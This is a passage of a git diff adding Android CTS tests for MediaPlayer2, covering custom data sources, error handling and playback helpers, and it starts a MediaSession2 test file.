+
+        if (!MediaUtils.hasCodecsForResource(mContext, resid)) {
+            return;
+        }
+
+        TestMedia2DataSource dataSource =
+                TestMedia2DataSource.fromAssetFd(mResources.openRawResourceFd(resid));
+        // Test returning -1 from getSize() to indicate unknown size.
+        dataSource.returnFromGetSize(-1);
+        mPlayer.setDataSource(new DataSourceDesc.Builder()
+                .setDataSource(dataSource)
+                .build());
+        playLoadedVideo(null, null, -1);
+        assertTrue(mPlayer.isPlaying());
+
+        // Test pause and restart.
+        mPlayer.pause();
+        Thread.sleep(SLEEP_TIME);
+        assertFalse(mPlayer.isPlaying());
+
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                    mOnPrepareCalled.signal();
+                }
+            }
+
+            @Override
+            public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+                if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+                    mOnPlayCalled.signal();
+                }
+            }
+        };
+        mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+        mOnPlayCalled.reset();
+        mPlayer.play();
+        mOnPlayCalled.waitForSignal();
+        assertTrue(mPlayer.isPlaying());
+
+        // Test reset.
+        mPlayer.reset();
+        mPlayer.setDataSource(new DataSourceDesc.Builder()
+                .setDataSource(dataSource)
+                .build());
+
+        mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+        mOnPrepareCalled.reset();
+        mPlayer.prepare();
+        mOnPrepareCalled.waitForSignal();
+
+        mOnPlayCalled.reset();
+        mPlayer.play();
+        mOnPlayCalled.waitForSignal();
+        assertTrue(mPlayer.isPlaying());
+
+        // Test seek. Note: the seek position is cached and returned as the
+        // current position so there's no point in comparing them.
+        mPlayer.seekTo(duration - SLEEP_TIME, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+        while (mPlayer.isPlaying()) {
+            Thread.sleep(SLEEP_TIME);
+        }
+    }
+
+    public void testNullMedia2DataSourceIsRejected() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+                if (what == MediaPlayer2.CALL_COMPLETED_SET_DATA_SOURCE) {
+                    mCallStatus = status;
+                    mOnPlayCalled.signal();
+                }
+            }
+        };
+        mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+        mCallStatus = MediaPlayer2.CALL_STATUS_NO_ERROR;
+        mPlayer.setDataSource((DataSourceDesc)null);
+        mOnPlayCalled.waitForSignal();
+        assertTrue(mCallStatus != MediaPlayer2.CALL_STATUS_NO_ERROR);
+    }
+
+    public void testMedia2DataSourceIsClosedOnReset() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+                if (what == MediaPlayer2.CALL_COMPLETED_SET_DATA_SOURCE) {
+                    mCallStatus = status;
+                    mOnPlayCalled.signal();
+                }
+            }
+        };
+        mPlayer.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+        TestMedia2DataSource dataSource = new TestMedia2DataSource(new byte[0]);
+        mPlayer.setDataSource(new DataSourceDesc.Builder()
+                .setDataSource(dataSource)
+                .build());
+        mOnPlayCalled.waitForSignal();
+        mPlayer.reset();
+        assertTrue(dataSource.isClosed());
+    }
+
+    public void testPlaybackFailsIfMedia2DataSourceThrows() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        final int resid = R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz;
+        if (!MediaUtils.hasCodecsForResource(mContext, resid)) {
+            return;
+        }
+
+        setOnErrorListener();
+        TestMedia2DataSource dataSource =
+                TestMedia2DataSource.fromAssetFd(mResources.openRawResourceFd(resid));
+        mPlayer.setDataSource(new DataSourceDesc.Builder()
+                .setDataSource(dataSource)
+                .build());
+
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                    mOnPrepareCalled.signal();
+                }
+            }
+        };
+        synchronized (mEventCbLock) {
+            mEventCallbacks.add(ecb);
+        }
+
+        mOnPrepareCalled.reset();
+        mPlayer.prepare();
+        mOnPrepareCalled.waitForSignal();
+
+        dataSource.throwFromReadAt();
+        mPlayer.play();
+        assertTrue(mOnErrorCalled.waitForSignal());
+    }
+
+    public void testPlaybackFailsIfMedia2DataSourceReturnsAnError() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        final int resid = R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz;
+        if (!MediaUtils.hasCodecsForResource(mContext, resid)) {
+            return;
+        }
+
+        TestMedia2DataSource dataSource =
+                TestMedia2DataSource.fromAssetFd(mResources.openRawResourceFd(resid));
+        mPlayer.setDataSource(new DataSourceDesc.Builder()
+                .setDataSource(dataSource)
+                .build());
+
+        setOnErrorListener();
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                    mOnPrepareCalled.signal();
+                }
+            }
+        };
+        synchronized (mEventCbLock) {
+            mEventCallbacks.add(ecb);
+        }
+
+        mOnPrepareCalled.reset();
+        mPlayer.prepare();
+        mOnPrepareCalled.waitForSignal();
+
+        dataSource.returnFromReadAt(-2);
+        mPlayer.play();
+        assertTrue(mOnErrorCalled.waitForSignal());
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2TestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayer2TestBase.java
new file mode 100644
index 0000000..2975d47
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2TestBase.java
@@ -0,0 +1,596 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.content.res.Resources;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.DataSourceDesc;
+import android.media.MediaPlayer2;
+import android.media.MediaTimestamp;
+import android.media.TimedMetaData;
+import android.media.TimedText;
+import android.media.cts.TestUtils.Monitor;
+import android.net.Uri;
+import android.os.PersistableBundle;
+import android.test.ActivityInstrumentationTestCase2;
+import android.view.SurfaceHolder;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.IOException;
+import java.net.HttpCookie;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.logging.Logger;
+
+/**
+ * Base class for tests which use MediaPlayer2 to play audio or video.
+ */
+public class MediaPlayer2TestBase extends ActivityInstrumentationTestCase2<MediaStubActivity> {
+    private static final Logger LOG = Logger.getLogger(MediaPlayer2TestBase.class.getName());
+
+    protected static final int SLEEP_TIME = 1000;
+    protected static final int LONG_SLEEP_TIME = 6000;
+    protected static final int STREAM_RETRIES = 20;
+    protected static boolean sUseScaleToFitMode = false;
+
+    protected Monitor mOnVideoSizeChangedCalled = new Monitor();
+    protected Monitor mOnVideoRenderingStartCalled = new Monitor();
+    protected Monitor mOnBufferingUpdateCalled = new Monitor();
+    protected Monitor mOnPrepareCalled = new Monitor();
+    protected Monitor mOnPlayCalled = new Monitor();
+    protected Monitor mOnDeselectTrackCalled = new Monitor();
+    protected Monitor mOnSeekCompleteCalled = new Monitor();
+    protected Monitor mOnCompletionCalled = new Monitor();
+    protected Monitor mOnInfoCalled = new Monitor();
+    protected Monitor mOnErrorCalled = new Monitor();
+    protected int mCallStatus;
+
+    protected Context mContext;
+    protected Resources mResources;
+
+    protected ExecutorService mExecutor;
+
+    protected MediaPlayer2 mPlayer = null;
+    protected MediaPlayer2 mPlayer2 = null;
+    protected MediaStubActivity mActivity;
+
+    protected final Object mEventCbLock = new Object();
+    protected List<MediaPlayer2.MediaPlayer2EventCallback> mEventCallbacks =
+            new ArrayList<MediaPlayer2.MediaPlayer2EventCallback>();
+    protected final Object mEventCbLock2 = new Object();
+    protected List<MediaPlayer2.MediaPlayer2EventCallback> mEventCallbacks2 =
+            new ArrayList<MediaPlayer2.MediaPlayer2EventCallback>();
+
+    // convenience functions to create MediaPlayer2
+    protected static MediaPlayer2 createMediaPlayer2(Context context, Uri uri) {
+        return createMediaPlayer2(context, uri, null);
+    }
+
+    protected static MediaPlayer2 createMediaPlayer2(Context context, Uri uri,
+            SurfaceHolder holder) {
+        AudioManager am = (AudioManager)context.getSystemService(Context.AUDIO_SERVICE);
+        int s = am.generateAudioSessionId();
+        return createMediaPlayer2(context, uri, holder, null, s > 0 ? s : 0);
+    }
+
+    protected static MediaPlayer2 createMediaPlayer2(Context context, Uri uri, SurfaceHolder holder,
+            AudioAttributes audioAttributes, int audioSessionId) {
+        try {
+            MediaPlayer2 mp = MediaPlayer2.create();
+            final AudioAttributes aa = audioAttributes != null ? audioAttributes :
+                    new AudioAttributes.Builder().build();
+            mp.setAudioAttributes(aa);
+            mp.setAudioSessionId(audioSessionId);
+            mp.setDataSource(new DataSourceDesc.Builder()
+                    .setDataSource(context, uri)
+                    .build());
+            if (holder != null) {
+                mp.setDisplay(holder);
+            }
+            Monitor onPrepareCalled = new Monitor();
+            ExecutorService executor = Executors.newFixedThreadPool(1);
+            MediaPlayer2.MediaPlayer2EventCallback ecb =
+                new MediaPlayer2.MediaPlayer2EventCallback() {
+                    @Override
+                    public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                        if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                            onPrepareCalled.signal();
+                        }
+                    }
+                };
+            mp.setMediaPlayer2EventCallback(executor, ecb);
+            mp.prepare();
+            onPrepareCalled.waitForSignal();
+            mp.clearMediaPlayer2EventCallback();
+            executor.shutdown();
+            return mp;
+        } catch (IllegalArgumentException ex) {
+            LOG.warning("create failed:" + ex);
+            // fall through
+        } catch (SecurityException ex) {
+            LOG.warning("create failed:" + ex);
+            // fall through
+        } catch (InterruptedException ex) {
+            LOG.warning("create failed:" + ex);
+            // fall through
+        }
+        return null;
+    }
+
+    protected static MediaPlayer2 createMediaPlayer2(Context context, int resid) {
+        AudioManager am = (AudioManager)context.getSystemService(Context.AUDIO_SERVICE);
+        int s = am.generateAudioSessionId();
+        return createMediaPlayer2(context, resid, null, s > 0 ? s : 0);
+    }
+
+    protected static MediaPlayer2 createMediaPlayer2(Context context, int resid,
+            AudioAttributes audioAttributes, int audioSessionId) {
+        try {
+            AssetFileDescriptor afd = context.getResources().openRawResourceFd(resid);
+            if (afd == null) {
+                return null;
+            }
+
+            MediaPlayer2 mp = MediaPlayer2.create();
+
+            final AudioAttributes aa = audioAttributes != null ? audioAttributes :
+                    new AudioAttributes.Builder().build();
+            mp.setAudioAttributes(aa);
+            mp.setAudioSessionId(audioSessionId);
+
+            mp.setDataSource(new DataSourceDesc.Builder()
+                    .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+                    .build());
+
+            Monitor onPrepareCalled = new Monitor();
+            ExecutorService executor = Executors.newFixedThreadPool(1);
+            MediaPlayer2.MediaPlayer2EventCallback ecb =
+                new MediaPlayer2.MediaPlayer2EventCallback() {
+                    @Override
+                    public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                        if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                            onPrepareCalled.signal();
+                        }
+                    }
+                };
+            mp.setMediaPlayer2EventCallback(executor, ecb);
+            mp.prepare();
+            onPrepareCalled.waitForSignal();
+            mp.clearMediaPlayer2EventCallback();
+            afd.close();
+            executor.shutdown();
+            return mp;
+        } catch (IOException ex) {
+            LOG.warning("create failed:" + ex);
+            // fall through
+        } catch (IllegalArgumentException ex) {
+            LOG.warning("create failed:" + ex);
+            // fall through
+        } catch (SecurityException ex) {
+            LOG.warning("create failed:" + ex);
+            // fall through
+        } catch (InterruptedException ex) {
+            LOG.warning("create failed:" + ex);
+            // fall through
+        }
+        return null;
+    }
+
+    public MediaPlayer2TestBase() {
+        super(MediaStubActivity.class);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mActivity = getActivity();
+        getInstrumentation().waitForIdleSync();
+        try {
+            runTestOnUiThread(new Runnable() {
+                public void run() {
+                    mPlayer = MediaPlayer2.create();
+                    mPlayer2 = MediaPlayer2.create();
+                }
+            });
+        } catch (Throwable e) {
+            e.printStackTrace();
+            fail();
+        }
+        mContext = getInstrumentation().getTargetContext();
+        mResources = mContext.getResources();
+        mExecutor = Executors.newFixedThreadPool(1);
+
+        setUpMP2ECb(mPlayer, mEventCbLock, mEventCallbacks);
+        setUpMP2ECb(mPlayer2, mEventCbLock2, mEventCallbacks2);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mPlayer != null) {
+            mPlayer.close();
+            mPlayer = null;
+        }
+        if (mPlayer2 != null) {
+            mPlayer2.close();
+            mPlayer2 = null;
+        }
+        mExecutor.shutdown();
+        mActivity = null;
+        super.tearDown();
+    }
+
+    protected void setUpMP2ECb(MediaPlayer2 mp, Object cbLock,
+            List<MediaPlayer2.MediaPlayer2EventCallback> ecbs) {
+        mp.setMediaPlayer2EventCallback(mExecutor, new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onVideoSizeChanged(MediaPlayer2 mp, DataSourceDesc dsd, int w, int h) {
+                synchronized (cbLock) {
+                    for (MediaPlayer2.MediaPlayer2EventCallback ecb : ecbs) {
+                        ecb.onVideoSizeChanged(mp, dsd, w, h);
+                    }
+                }
+            }
+
+            @Override
+            public void onTimedText(MediaPlayer2 mp, DataSourceDesc dsd, TimedText text) {
+                synchronized (cbLock) {
+                    for (MediaPlayer2.MediaPlayer2EventCallback ecb : ecbs) {
+                        ecb.onTimedText(mp, dsd, text);
+                    }
+                }
+            }
+
+            @Override
+            public void onTimedMetaDataAvailable(MediaPlayer2 mp, DataSourceDesc dsd,
+                    TimedMetaData data) {
+                synchronized (cbLock) {
+                    for (MediaPlayer2.MediaPlayer2EventCallback ecb : ecbs) {
+                        ecb.onTimedMetaDataAvailable(mp, dsd, data);
+                    }
+                }
+            }
+
+            @Override
+            public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                synchronized (cbLock) {
+                    for (MediaPlayer2.MediaPlayer2EventCallback ecb : ecbs) {
+                        ecb.onError(mp, dsd, what, extra);
+                    }
+                }
+            }
+
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                synchronized (cbLock) {
+                    for (MediaPlayer2.MediaPlayer2EventCallback ecb : ecbs) {
+                        ecb.onInfo(mp, dsd, what, extra);
+                    }
+                }
+            }
+
+            @Override
+            public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+                synchronized (cbLock) {
+                    for (MediaPlayer2.MediaPlayer2EventCallback ecb : ecbs) {
+                        ecb.onCallCompleted(mp, dsd, what, status);
+                    }
+                }
+            }
+
+            @Override
+            public void onMediaTimeChanged(MediaPlayer2 mp, DataSourceDesc dsd,
+                    MediaTimestamp timestamp) {
+                synchronized (cbLock) {
+                    for (MediaPlayer2.MediaPlayer2EventCallback ecb : ecbs) {
+                        ecb.onMediaTimeChanged(mp, dsd, timestamp);
+                    }
+                }
+            }
+
+            @Override
+            public void onCommandLabelReached(MediaPlayer2 mp, Object label) {
+                synchronized (cbLock) {
+                    for (MediaPlayer2.MediaPlayer2EventCallback ecb : ecbs) {
+                        ecb.onCommandLabelReached(mp, label);
+                    }
+                }
+            }
+        });
+    }
+
+    // returns true on success
+    protected boolean loadResource(int resid) throws Exception {
+        if (!MediaUtils.hasCodecsForResource(mContext, resid)) {
+            return false;
+        }
+
+        AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
+        try {
+            mPlayer.setDataSource(new DataSourceDesc.Builder()
+                    .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+                    .build());
+
+            // Although it is only meant for video playback, it should not
+            // cause issues for audio-only playback.
+            int videoScalingMode = sUseScaleToFitMode?
+                                    MediaPlayer2.VIDEO_SCALING_MODE_SCALE_TO_FIT
+                                  : MediaPlayer2.VIDEO_SCALING_MODE_SCALE_TO_FIT_WITH_CROPPING;
+
+            mPlayer.setVideoScalingMode(videoScalingMode);
+        } finally {
+            // TODO: close afd only after setDataSource is confirmed.
+            // afd.close();
+        }
+        sUseScaleToFitMode = !sUseScaleToFitMode;  // Alternate the scaling mode
+        return true;
+    }
+
+    protected DataSourceDesc createDataSourceDesc(int resid) throws Exception {
+        if (!MediaUtils.hasCodecsForResource(mContext, resid)) {
+            return null;
+        }
+
+        AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
+        return new DataSourceDesc.Builder()
+                .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+                .build();
+    }
+
+    protected boolean checkLoadResource(int resid) throws Exception {
+        return MediaUtils.check(loadResource(resid), "no decoder found");
+    }
+
+    protected void loadSubtitleSource(int resid) throws Exception {
+        AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
+        try {
+            mPlayer.addTimedTextSource(afd.getFileDescriptor(), afd.getStartOffset(),
+                      afd.getLength(), MediaPlayer2.MEDIA_MIMETYPE_TEXT_SUBRIP);
+        } finally {
+            afd.close();
+        }
+    }
+
+    protected void playLiveVideoTest(String path, int playTime) throws Exception {
+        playVideoWithRetries(path, null, null, playTime);
+    }
+
+    protected void playLiveAudioOnlyTest(String path, int playTime) throws Exception {
+        playVideoWithRetries(path, -1, -1, playTime);
+    }
+
+    protected void playVideoTest(String path, int width, int height) throws Exception {
+        playVideoWithRetries(path, width, height, 0);
+    }
+
+    protected void playVideoWithRetries(String path, Integer width, Integer height, int playTime)
+            throws Exception {
+        boolean playedSuccessfully = false;
+        final Uri uri = Uri.parse(path);
+        for (int i = 0; i < STREAM_RETRIES; i++) {
+          try {
+            mPlayer.setDataSource(new DataSourceDesc.Builder()
+                    .setDataSource(mContext, uri)
+                    .build());
+            playLoadedVideo(width, height, playTime);
+            playedSuccessfully = true;
+            break;
+          } catch (PrepareFailedException e) {
+            // prepare() can fail because of network issues, so try again
+            LOG.warning("prepare() failed on try " + i + ", trying playback again");
+          }
+        }
+        assertTrue("Stream did not play successfully after all attempts", playedSuccessfully);
+    }
+
+    protected void playVideoTest(int resid, int width, int height) throws Exception {
+        if (!checkLoadResource(resid)) {
+            return; // skip
+        }
+
+        playLoadedVideo(width, height, 0);
+    }
+
+    protected void playLiveVideoTest(
+            Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
+            int playTime) throws Exception {
+        playVideoWithRetries(uri, headers, cookies, null /* width */, null /* height */, playTime);
+    }
+
+    protected void playVideoWithRetries(
+            Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
+            Integer width, Integer height, int playTime) throws Exception {
+        boolean playedSuccessfully = false;
+        for (int i = 0; i < STREAM_RETRIES; i++) {
+            try {
+                mPlayer.setDataSource(new DataSourceDesc.Builder()
+                        .setDataSource(getInstrumentation().getTargetContext(),
+                            uri, headers, cookies)
+                        .build());
+                playLoadedVideo(width, height, playTime);
+                playedSuccessfully = true;
+                break;
+            } catch (PrepareFailedException e) {
+                // prepare() can fail because of network issues, so try again
+                // playLoadedVideo already has reset the player so we can try again safely.
+                LOG.warning("prepare() failed on try " + i + ", trying playback again");
+            }
+        }
+        assertTrue("Stream did not play successfully after all attempts", playedSuccessfully);
+    }
+
+    /**
+     * Play a video which has already been loaded with setDataSource().
+     *
+     * @param width width of the video to verify, or null to skip verification
+     * @param height height of the video to verify, or null to skip verification
+     * @param playTime length of time to play video, or 0 to play entire video.
+     * with a non-negative value, this method stops the playback after the length of
+     * time or the duration the video is elapsed. With a value of -1,
+     * this method simply starts the video and returns immediately without
+     * stoping the video playback.
+     */
+    protected void playLoadedVideo(final Integer width, final Integer height, int playTime)
+            throws Exception {
+        final float volume = 0.5f;
+
+        boolean audioOnly = (width != null && width.intValue() == -1) ||
+                (height != null && height.intValue() == -1);
+
+        mPlayer.setDisplay(mActivity.getSurfaceHolder());
+        mPlayer.setScreenOnWhilePlaying(true);
+
+        synchronized (mEventCbLock) {
+            mEventCallbacks.add(new MediaPlayer2.MediaPlayer2EventCallback() {
+                @Override
+                public void onVideoSizeChanged(MediaPlayer2 mp, DataSourceDesc dsd, int w, int h) {
+                    if (w == 0 && h == 0) {
+                        // A size of 0x0 can be sent initially one time when using NuPlayer.
+                        assertFalse(mOnVideoSizeChangedCalled.isSignalled());
+                        return;
+                    }
+                    mOnVideoSizeChangedCalled.signal();
+                    if (width != null) {
+                        assertEquals(width.intValue(), w);
+                    }
+                    if (height != null) {
+                        assertEquals(height.intValue(), h);
+                    }
+                }
+
+                @Override
+                public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                    fail("Media player had error " + what + " playing video");
+                }
+
+                @Override
+                public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                    if (what == MediaPlayer2.MEDIA_INFO_VIDEO_RENDERING_START) {
+                        mOnVideoRenderingStartCalled.signal();
+                    } else if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                        mOnPrepareCalled.signal();
+                    }
+                }
+
+                @Override
+                public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
+                        int what, int status) {
+                    if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+                        mOnPlayCalled.signal();
+                    }
+                }
+            });
+        }
+        try {
+          mOnPrepareCalled.reset();
+          mPlayer.prepare();
+          mOnPrepareCalled.waitForSignal();
+        } catch (Exception e) {
+          mPlayer.reset();
+          throw new PrepareFailedException();
+        }
+
+        mOnPlayCalled.reset();
+        mPlayer.play();
+        mOnPlayCalled.waitForSignal();
+        if (!audioOnly) {
+            mOnVideoSizeChangedCalled.waitForSignal();
+            mOnVideoRenderingStartCalled.waitForSignal();
+        }
+        mPlayer.setPlayerVolume(volume);
+
+        // waiting to complete
+        if (playTime == -1) {
+            return;
+        } else if (playTime == 0) {
+            while (mPlayer.isPlaying()) {
+                Thread.sleep(SLEEP_TIME);
+            }
+        } else {
+            Thread.sleep(playTime);
+        }
+
+        // validate a few MediaMetrics.
+        PersistableBundle metrics = mPlayer.getMetrics();
+        if (metrics == null) {
+            fail("MediaPlayer2.getMetrics() returned null metrics");
+        } else if (metrics.isEmpty()) {
+            fail("MediaPlayer2.getMetrics() returned empty metrics");
+        } else {
+
+            int size = metrics.size();
+            Set<String> keys = metrics.keySet();
+
+            if (keys == null) {
+                fail("MediaMetricsSet returned no keys");
+            } else if (keys.size() != size) {
+                fail("MediaMetricsSet.keys().size() mismatch MediaMetricsSet.size()");
+            }
+
+            // we played something; so one of these should be non-null
+            String vmime = metrics.getString(MediaPlayer2.MetricsConstants.MIME_TYPE_VIDEO, null);
+            String amime = metrics.getString(MediaPlayer2.MetricsConstants.MIME_TYPE_AUDIO, null);
+            if (vmime == null && amime == null) {
+                fail("getMetrics() returned neither video nor audio mime value");
+            }
+
+            long duration = metrics.getLong(MediaPlayer2.MetricsConstants.DURATION, -2);
+            if (duration == -2) {
+                fail("getMetrics() didn't return a duration");
+            }
+            long playing = metrics.getLong(MediaPlayer2.MetricsConstants.PLAYING, -2);
+            if (playing == -2) {
+                fail("getMetrics() didn't return a playing time");
+            }
+            if (!keys.contains(MediaPlayer2.MetricsConstants.PLAYING)) {
+                fail("MediaMetricsSet.keys() missing: " + MediaPlayer2.MetricsConstants.PLAYING);
+            }
+        }
+
+        mPlayer.stop();
+    }
+
+    private static class PrepareFailedException extends Exception {}
+
+    public boolean isTv() {
+        PackageManager pm = getInstrumentation().getTargetContext().getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_TELEVISION)
+                && pm.hasSystemFeature(pm.FEATURE_LEANBACK);
+    }
+
+    public boolean checkTv() {
+        return MediaUtils.check(isTv(), "not a TV");
+    }
+
+    protected void setOnErrorListener() {
+        synchronized (mEventCbLock) {
+            mEventCallbacks.add(new MediaPlayer2.MediaPlayer2EventCallback() {
+                @Override
+                public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                    mOnErrorCalled.signal();
+                }
+            });
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
index f01665a..91a6acf 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
@@ -183,12 +183,6 @@
         playVideoWithRetries(uri, headers, cookies, null /* width */, null /* height */, playTime);
     }
 
-    protected void playLiveAudioOnlyTest(
-            Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
-            int playTime) throws Exception {
-        playVideoWithRetries(uri, headers, cookies, -1 /* width */, -1 /* height */, playTime);
-    }
-
     protected void playVideoWithRetries(
             Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
             Integer width, Integer height, int playTime) throws Exception {
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
new file mode 100644
index 0000000..99dc720
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
@@ -0,0 +1,877 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.AudioAttributes.CONTENT_TYPE_MUSIC;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaController2.PlaybackInfo;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlayerBase;
+import android.media.MediaPlaylistAgent;
+import android.media.MediaSession2;
+import android.media.MediaSession2.Builder;
+import android.media.MediaSession2.CommandButton;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.VolumeProvider2;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.ResultReceiver;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.annotation.NonNull;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaSession2}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSession2Test extends MediaSession2TestBase {
+    private static final String TAG = "MediaSession2Test";
+
+    private MediaSession2 mSession;
+    private MockPlayer mPlayer;
+    private MockPlaylistAgent mMockAgent;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mPlayer = new MockPlayer(0);
+        mMockAgent = new MockPlaylistAgent();
+        mSession = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(mMockAgent)
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public SessionCommandGroup2 onConnect(MediaSession2 session,
+                            ControllerInfo controller) {
+                        if (Process.myUid() == controller.getUid()) {
+                            return super.onConnect(session, controller);
+                        }
+                        return null;
+                    }
+                }).build();
+    }
+
+    @After
+    @Override
+    public void cleanUp() throws Exception {
+        super.cleanUp();
+        mSession.close();
+    }
+
+    @Ignore
+    @Test
+    public void testBuilder() {
+        try {
+            MediaSession2.Builder builder = new Builder(mContext);
+            fail("null player shouldn't be allowed");
+        } catch (IllegalArgumentException e) {
